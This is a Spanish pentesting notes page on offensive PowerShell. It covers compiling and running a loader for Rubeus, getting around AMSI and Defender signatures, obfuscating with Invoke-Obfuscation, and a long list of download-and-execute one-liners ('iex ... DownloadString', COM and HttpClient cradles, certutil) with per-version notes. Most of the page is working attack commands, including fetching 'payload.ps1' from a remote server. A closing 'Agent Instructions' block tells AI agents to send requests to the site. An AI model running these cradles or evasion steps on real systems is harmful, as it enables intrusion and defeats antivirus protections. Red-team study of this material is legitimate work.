{% code overflow="wrap" %}
```powershell
git clone "https://github.com/xtormin/SilentLoader.git"
cd SilentLoader
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:sloader.exe /target:exe /reference:System.dll /reference:System.Core.dll SilentLoader.cs
```
{% endcode %}
```powershell
.\sloader.exe -f [programa.exe] [-p "argumentos opcionales"]
.\sloader.exe -f Rubeus.exe -p "dump"
```
### Bypass de firmas conocidas en el código
Algunas formas de evadir las protecciones son:
* Carga en memoria (*fileless*).
* Identificación de las partes del *script* que son detectadas.
* Ofuscación completa del script.
#### Carga en memoria
```powershell
iex (iwr 'http://192.168.10.100/PowerView.ps1').Content
```
#### Identificación de partes detectadas
* AMSITrigger: Te dice qué línea/parte del script dispara AMSI.
```powershell
AmsiTrigger_x64.exe -i C:\AD\Tools\Invoke-PowerShellTcp_Detected.ps1
```
* **DefenderCheck:** Escanea un script y te indica qué strings son detectados por Windows Defender.
```powershell
DefenderCheck.exe PowerUp.ps1
```
Esto te devuelve la **posición en bytes** donde hay una detección. **Para convertir el byte offset en número de línea: ByteToLineNumber.ps1.**
```powershell
. C:\AD\Tools\ByteToLineNumber.ps1
Get-LineNumber -Path C:\AD\Tools\PowerUp.ps1 -ByteOffset 0x1DCD2
```
#### Ofuscación completa
* [**Invoke-Obfuscation**](https://github.com/danielbohannon/Invoke-Obfuscation)**:**
* Renombrar funciones y variables.
* Codificar partes sensibles (ejemplo: `"Invoke-Mimikatz"` se convierte en algo ilegible).
* Generar payloads en múltiples formatos (base64, rot13, string split, etc.).
## Descarga de ficheros
### **One-liners de descarga**
{% code overflow="wrap" %}
```powershell
iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1')
$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iex (iwr 'https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1' -UseBasicParsing).Content
Add-Type -AssemblyName System.Net.Http;$u='https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1';$http=[System.Net.Http.HttpClient]::new();$code=$http.GetStringAsync($u).Result;iex $code
iex (iwr 'https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1')
$h=New-Object -ComObject
Msxml2.XMLHTTP;$h.open('GET','https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1',$false);$h.send();iex
$h.responseText
$wr = [System.NET.WebRequest]::Create("https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
iwr "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1" -outputfile winpeas64.exe
.\certutil.exe -urlcache -split -f "https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1"
```
{% endcode %}
### Consideraciones sobre versiones de PowerShell
#### **PowerShell v1 (2006, Windows XP/2003)**
{% hint style="warning" %}
* No existe `Invoke-WebRequest (iwr)`.
* Solo soporta **SSL3/TLS1.0** → no puedes descargar de GitHub/modern HTTPS (requiere TLS1.2).
* Solución: usar tu propio servidor HTTP (sin TLS o con TLS1.0).
* Alternativas:
* `Msxml2.XMLHTTP`
* `InternetExplorer.Application` (COM)
{% endhint %}
Ejemplo:
{% code overflow="wrap" %}
```powershell
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
```
{% endcode %}
#### **PowerShell v2 (2009, Windows 7 / 2008R2)**
{% hint style="warning" %}
* Sigue sin existir `Invoke-WebRequest`.
* Mismo problema con TLS moderno (solo TLS1.0).
* Todavía bastante usado en entornos legacy → ideal para labs.
{% endhint %}
Ejemplo:
{% code overflow="wrap" %}
```powershell
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
```
{% endcode %}
#### **PowerShell v3 (2012, Windows 8 / 2012 Server)**
{% hint style="success" %}
Ya existe `Invoke-WebRequest`
{% endhint %}
{% hint style="warning" %}
* `iwr` es más “verboso” y puede lanzar errores si no usas `.Content`:
iex (iwr 'http://servidor/payload.ps1').Content
* TLS1.2 todavía no activado por defecto, a veces es necesario forzarlo:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
{% endhint %}
Ejemplos:
```powershell
iex (iwr 'http://servidor/payload.ps1')
```
#### **PowerShell v4 (2013, Windows 8.1 / 2012R2)**
{% hint style="warning" %}
TLS1.2 sigue sin estar por defecto, mismo workaround que en v3.
{% endhint %}
#### **PowerShell v5 / v5.1 (2016+, Windows 10 / Server 2016/2019)**
{% hint style="warning" %}
* Aquí entran en juego defensas modernas:
* **Script Block Logging**
* **AMSI (Antimalware Scan Interface)**
* **Constrained Language Mode**
* Muchos cradles empiezan a ser detectados por EDR.
* Se usan técnicas de **obfuscación** (Invoke-Obfuscation) o bypasses AMSI.
{% endhint %}
Ejemplos:
```powershell
iex (iwr 'http://servidor/payload.ps1' -UseBasicParsing).Content
```
```powershell
iex (New-Object Net.WebClient).DownloadString('http://servidor/payload.ps1')
```
#### **PowerShell Core (6, 7 → multiplataforma, 2018+)**
{% hint style="warning" %}
* No existen COM objects (`XMLHTTP`, `InternetExplorer.Application`) → ya no funcionan esos cradles.
* AMSI y logging siguen activos.
* Al ser cross-platform, no todo el arsenal clásico (ej. PowerView\.ps1) funciona directamente.
{% endhint %}
Ejemplos:
{% code overflow="wrap" %}
```powershell
Add-Type -AssemblyName System.Net.Http
$http = [System.Net.Http.HttpClient]::new()
iex $http.GetStringAsync("https://raw.githubusercontent.com/xtormin/PowerPentest/refs/heads/main/Azure/O365EmailValidator.ps1").Result
```
{% endcode %}
###
[^1]: Comando corto de descarga de scripts o payloads desde internet o intranet que se ejecuta directamente en memoria, sin guardar en disco.
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://www.xtormin.com/pentesting-en-infraestructuras/red-interna/powershell.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.